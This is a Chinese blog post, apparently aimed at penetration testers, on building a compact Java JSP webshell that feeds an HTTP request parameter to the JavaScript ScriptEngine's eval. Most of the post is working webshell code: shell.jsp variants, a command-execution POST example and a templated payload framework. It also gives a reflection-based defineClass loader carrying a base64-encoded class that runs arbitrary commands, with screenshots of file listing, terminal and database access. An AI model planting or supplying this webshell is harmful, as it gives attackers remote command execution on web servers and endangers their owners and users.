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一句話木馬該怎么實作?現在就帶你了解

2021-08-02 07:00:13 其他

前言

一直以來,Java一句話木馬都是采用打入位元組碼defineClass實作的,這種方法的優勢是可以完整的打進去一個類,可以幾乎實作Java上的所有功能,不足之處就是Payload過于巨大,并且不像腳本語言一樣方便修改,并且還存在很多特征,例如繼承ClassLoader,反射呼叫defineClass等,本在這里提出一種Java一句話木馬:利用Java中JS引擎實作的一句話木馬,

基本原理

  1. Java沒有eval函式,Js有eval函式,可以把字串當代碼決議,
  2. Java從1.6開始自帶ScriptEngineManager這個類,原生支持呼叫js,無需安裝第三方庫,
  3. ScriptEngine支持在Js中呼叫Java的物件,

綜上所述,我們可以利用Java呼叫JS引擎的eval,然后在Payload中反過來呼叫Java物件,這就是本文提出的新型Java一句話的核心原理,

ScriptEngineManager全名javax.script.ScriptEngineManager,從Java 6開始自帶,其中Java 6/7采用的js決議引擎是Rhino,而從java8開始換成了Nashorn,不同決議引擎對同樣的代碼有一些差別,這點后面有所體現,

如果說原理其實一兩句話就可以說清楚,但是難點在于Payload的撰寫,跨語言呼叫最大的一個難點就是資料型別以及方法的轉換,例如Java中有byte陣列,Js中沒有怎么辦?C++里有指標但是Java里沒有這個玩意怎么辦?

在實作期間踩了很多的坑,這篇文章跟大家一起掰扯掰扯,希望能給大家提供點幫助,

獲取腳本引擎

//通過腳本名稱獲取:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");  //簡寫為js也可以
//通過檔案擴展名獲取: 
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");  
//通過MIME型別來獲取: 
ScriptEngine engine = new ScriptEngineManager().getEngineByMimeType("text/javascript");

系結物件

ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));

或者通過eval的多載函式,直接把物件通過一個HashMap放進去

new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}))

eval

綜合上面兩步,有很多種寫法,例如:

shell.jsp

<%

     javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
     engine.put("request", request);
     engine.put("response", response);
     engine.eval(request.getParameter("mr6"));

%>

或者直接縮寫成一句:

<%
     new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{
            put("response", response);
            put("request", request);
        }}));
%>

以執行命令為例:

POST:mr6=java.lang.Runtime.getRuntime().exec(“calc”);

image.png

即可達到命令執行的效果,

基本語法

翻閱檔案比較枯燥,這里挑一些用到的說一說,

感興趣的同學也可以看一下原檔案:原檔案

呼叫Java方法

前面加上全限定類名即可

var s = [3];
s[0] = "cmd";
s[1] = "/c";
s[2] = "whoami";//yzddmr6
var p = java.lang.Runtime.getRuntime().exec(s);
var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");
var result = sc.hasNext() ? sc.next() : "";
sc.close();

匯入Java型別

var Vector = java.util.Vector;
var JFrame = Packages.javax.swing.JFrame;

 //這種寫法僅僅支持Nashorn,Rhino并不支持
var Vector = Java.type("java.util.Vector")
var JFrame = Java.type("javax.swing.JFrame")

創建Java型別的陣列

// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)

// Nashorn
var IntArray = Java.type("int[]")
var array = new IntArray(8)

匯入Java類

默認情況下,Nashorn 不會匯入Java的包,這樣主要為了避免型別沖突,比如你寫了一個new String,引擎怎么知道你new的是Java的String還是js的String?所以所有的Java的呼叫都需要加上全限定類名,但是這樣寫起來很不方便,

這個時候大聰明Mozilla Rhino 就想了一個辦法,整了個擴展檔案,里面提供了importClass 跟importPackage 方法,可以匯入指定的Java包,

  • importClass 匯入指定Java的類,現在推薦用Java.type
  • importPackage 匯入一個Java包,類似import com.yzddmr6.*,現在推薦用JavaImporter

這里需要注意的是,Rhino對該語法的錯誤處理機制,當被訪問的類存在時,Rhino加載該class,而當其不存在時,則把它當成package名稱,而并不會報錯,

load("nashorn:mozilla_compat.js");

importClass(java.util.HashSet);
var set = new HashSet();

importPackage(java.util);
var list = new ArrayList();

在一些特殊情況下,匯入的全域包會影響js中的函式,例如類名沖突,這個時候可以用JavaImporter,并配合with陳述句,對匯入的Java包設定一個使用范圍,

// create JavaImporter with specific packages and classes to import

var SwingGui = new JavaImporter(javax.swing,
                            javax.swing.event,
                            javax.swing.border,
                            java.awt.event);
with (SwingGui) {
    // 在with里面才可以呼叫swing里面的類,防止污染
    var mybutton = new JButton("test");
    var myframe = new JFrame("test");
}

方法呼叫與多載

方法在JavaScript中實際上是物件的一個屬性,所以除了使用 . 來呼叫方法之外,也可以使用[]來呼叫方法:

var System = Java.type('java.lang.System');
System.out.println('Hello, World');    // Hello, World
System.out['println']('Hello, World'); // Hello, World

Java支持多載(Overload)方法,例如,System.out 的 println 有多個多載版本,如果你想指定特定的多載版本,可以使用[]指定引數型別,例如:

var System = Java.type('java.lang.System');
System.out['println'](3.14);          // 3.14
System.out['println(double)'](3.14);  // 3.14
System.out['println(int)'](3.14);     // 3

Payload結構設計

詳情寫在注釋里了

//匯入基礎拓展
try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}
//匯入常見包
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);

var output = new StringBuffer(""); //輸出
var cs = "${jspencode}"; //設定字符集編碼
var tag_s = "${tag_s}"; //開始符號
var tag_e = "${tag_e}"; //結束符號
try {
  response.setContentType("text/html");
  request.setCharacterEncoding(cs);
  response.setCharacterEncoding(cs);
  function decode(str) {
    //引數解碼
    str = str.substr(2);
    var bt = Base64DecodeToByte(str);
    return new java.lang.String(bt, cs);
  }
  function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = Base64.getDecoder().decode(str);
    }
    return bt;
  }
  function asoutput(str) {
    //回顯加密
    return str;
  }
  function func(z1) {
    //eval function

    return z1;
  }
  output.append(func(z1)); //添加功能函式回顯
} catch (e) {
  output.append("ERROR:// " + e.toString()); //輸出錯誤
}
try {
  response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e); //回顯
} catch (e) {}

語法問題的坑

兩種語言物件間的相互轉換

要注意的是,在遇到Java跟JS可能存在型別沖突的地方,即使匯入了包也要加上全限定類名,

在撰寫payload的時候被坑了很久的一個問題就是,在匯入java.lang以后寫new String(bt,cs)沒有加全限定類名,導致列印出來的一直是一個字串地址,

正確的操作是new java.lang.String(bt,cs),因為在Java和Js中均存在String類,按照優先級,直接new出來的會是Js的物件,

下面附上型別對比表:

JavaScript ValueJavaScript TypeJava TypeIs ScriptableIs Function
{a:1, b:[‘x’,‘y’]}objectorg.mozilla.javascript.NativeObject+-
[1,2,3]objectorg.mozilla.javascript.NativeArray+-
1numberjava.lang.Double--
1.2345numberjava.lang.Double--
NaNnumberjava.lang.Double--
Infinitynumberjava.lang.Double--
-Infinitynumberjava.lang.Double--
truebooleanjava.lang.Boolean--
“test”stringjava.lang.String--
nullobjectnull--
undefinedundefinedorg.mozilla.javascript.Undefined--
function () { }functionorg.mozilla.javascript.gen.c1++
/.*/objectorg.mozilla.javascript.regexp.NativeRegExp++

Rhino/Nashorn決議的差異

這也是當時一個坑點,看下面一段代碼

var readonlyenv = System.getenv();
      var cmdenv = new java.util.HashMap(readonlyenv);
      var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|");
      for (var i = 0; i < envs.length; i++) {
        var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|");
        if (es.length == 2) {
          cmdenv.put(es[0], es[1]);
        }
      }
      var e = [];
      var i = 0;
      print(cmdenv+'\n');
      for (var key in cmdenv) {//關鍵
        print("key: "+key+"\n");
        e[i] = key + "=" + cmdenv[key];
        i++;
      }

其中cmdenv是個HashMap,這段代碼在Java 8中Nashorn引擎可以正常決議,var key in cmdenv的時候把cmdenv的鍵給輸出了
image.png

但是在Java 6下運行時,Rhino把他當成了一個js物件,把其屬性輸出了
image.png

所以涉及到這種混合寫法就會有異議,不同的引擎有不同的解釋,

解決辦法使用Java迭代器即可,不摻雜js的寫法,

var i = 0;
    var iter = cmdenv.keySet().iterator();
    while (iter.hasNext()) {
      var key = iter.next();
      var val = cmdenv.get(key);
      //print("\nkey:" + key);
      //print("\nval:" + val);
      e[i] = key + "=" + val;
      i++;
    }

反射的坑

在Java中,如果涉及到不同版本之間類的包名不一樣,我們通常不能直接匯入,而要使用反射的寫法,

例如base64解碼的時候,Java的寫法如下

public byte[] Base64DecodeToByte(String str) {
        byte[] bt = null;
        String version = System.getProperty("java.version");
        try {
            if (version.compareTo("1.9") >= 0) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            } else {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            }
            return bt;
        } catch (Exception e) {
            return new byte[]{};
        }
    }

改寫成js風格后,發現會有一些奇奇怪怪的BUG,(后來發現反射其實也可以實作,匯入Java型別然后再傳入反射引數即可,就是比較麻煩)

image

function test(str) {
  var bt = null;
  var version = System.getProperty("java.version");

  if (version.compareTo("1.9") >= 0) {
    var clazz = java.lang.Class.forName("java.util.Base64");
    var decoder = clazz.getMethod("getDecoder").invoke(null);
    bt = decoder
      .getClass()
      .getMethod("decode", java.lang.String.class)
      .invoke(decoder, str);
  } else {
    var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder");
    bt = clazz
      .getMethod("decodeBuffer", java.lang.String.class)
      .invoke(clazz.newInstance(), str);
  }
  return bt;
}

但是在Js中,我們并不需要這么麻煩,上面提到過如果importPackage了一個不存在的包名,Js引擎會將這個錯誤給忽略,并且由于Js松散的語言特性,我們僅僅需要正射+例外捕獲就可以完成目的,大大減小了payload撰寫的復雜度,

function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = Base64.getDecoder().decode(str);
    }
    return bt;
  }

保底操作

理論上,我們可以用js引擎的一句話實作所有位元組碼一句話的功能,退一萬步講,如果有些功能實在不好實作,或者說想套用現有的payload應該怎么辦呢,

我們可以用java呼叫js后,再呼叫defineClass來實作:

撰寫一個命令執行的類:calc.java

import java.io.IOException;

public class calc {
    public calc(String cmd){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

編譯之后base64一下

> base64 -w 0 calc.class
yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIA

填入下方payload

try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer("");
var cs = "UTF-8";
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function Base64DecodeToByte(str) {
  importPackage(Packages.sun.misc);
  importPackage(Packages.java.util);
  var bt;
  try {
    bt = new BASE64Decoder().decodeBuffer(str);
  } catch (e) {
    bt = new Base64().getDecoder().decode(str);
  }
  return bt;
}
function define(Classdata, cmd) {
  var classBytes = Base64DecodeToByte(Classdata);
  var byteArray = Java.type("byte[]");
  var int = Java.type("int");
  var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
    "defineClass",
    byteArray.class,
    int.class,
    int.class
  );
  defineClassMethod.setAccessible(true);
  var cc = defineClassMethod.invoke(
    Thread.currentThread().getContextClassLoader(),
    classBytes,
    0,
    classBytes.length
  );
  return cc.getConstructor(java.lang.String.class).newInstance(cmd);
}
output.append(
  define(
    "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
    "calc"
  )
);
response.getWriter().print(output);

成功彈出計算器
image.png

也就是說,新型一句話在特殊情況下,還可以繼續兼容原有的位元組碼一句話,甚至復用原有的Payload,

測驗

測驗環境:Java>=6

同樣的列目錄Payload,原有的位元組碼方式資料包長度為7378,而新型JSP一句話僅僅為2481,差不多為原有的三分之一,
image.png
image.png

列目錄
image.png

中文測驗
image.png

虛擬終端
image.png

資料庫連接
image.png

在這里插入圖片描述

題外話:安全是個不錯的行業,我干的也挺好,如果你也想學習安全,學習的程序中有需要的學習檔案,俺可以分享給大家!

【查看資料】

最后

基于JS引擎的Java一句話體積更小,變化種類更多,使用起來更靈活,范圍為Java 6及以上,基本可以滿足需求,但是Payload寫起來非常麻煩,也不好除錯,算是有利有弊,

提出新型一句話并不是說一定要取代原有的打入位元組碼的方式,只是在更復雜情況下,可以提供給滲透人員更多的選擇,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/291291.html

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    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
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  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more